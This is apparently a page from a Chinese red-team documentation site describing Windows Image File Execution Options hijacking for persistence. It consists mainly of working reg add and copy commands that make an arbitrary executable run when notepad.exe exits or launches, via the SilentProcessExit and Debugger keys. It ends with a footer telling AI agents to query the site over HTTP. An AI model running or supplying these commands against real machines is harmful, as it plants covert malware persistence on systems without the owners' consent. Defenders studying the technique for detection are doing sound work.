# 映像劫持

## 劫持程序退出事件 <a href="#h3-u52abu6301u7a0bu5e8fu9000u51fau4e8bu4ef6" id="h3-u52abu6301u7a0bu5e8fu9000u51fau4e8bu4ef6"></a>

命令行

```
# Use notepad as example

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\Temp\qwqdanchun.exe"
```

## 劫持程序调试选项 <a href="#h3-u52abu6301u7a0bu5e8fu8c03u8bd5u9009u9879" id="h3-u52abu6301u7a0bu5e8fu8c03u8bd5u9009u9879"></a>

命令行

```
copy C:\Temp\qwqdanchun.exe C:\Windows\System32\qwqdanchun.exe

REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v Debugger /d "qwqdanchun.exe"
```

参考文章：

{% embed url="<https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/>" %}

{% embed url="<https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.qwqdanchun.com/main/persistence/image-file-execution-options/image-file-execution-options.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
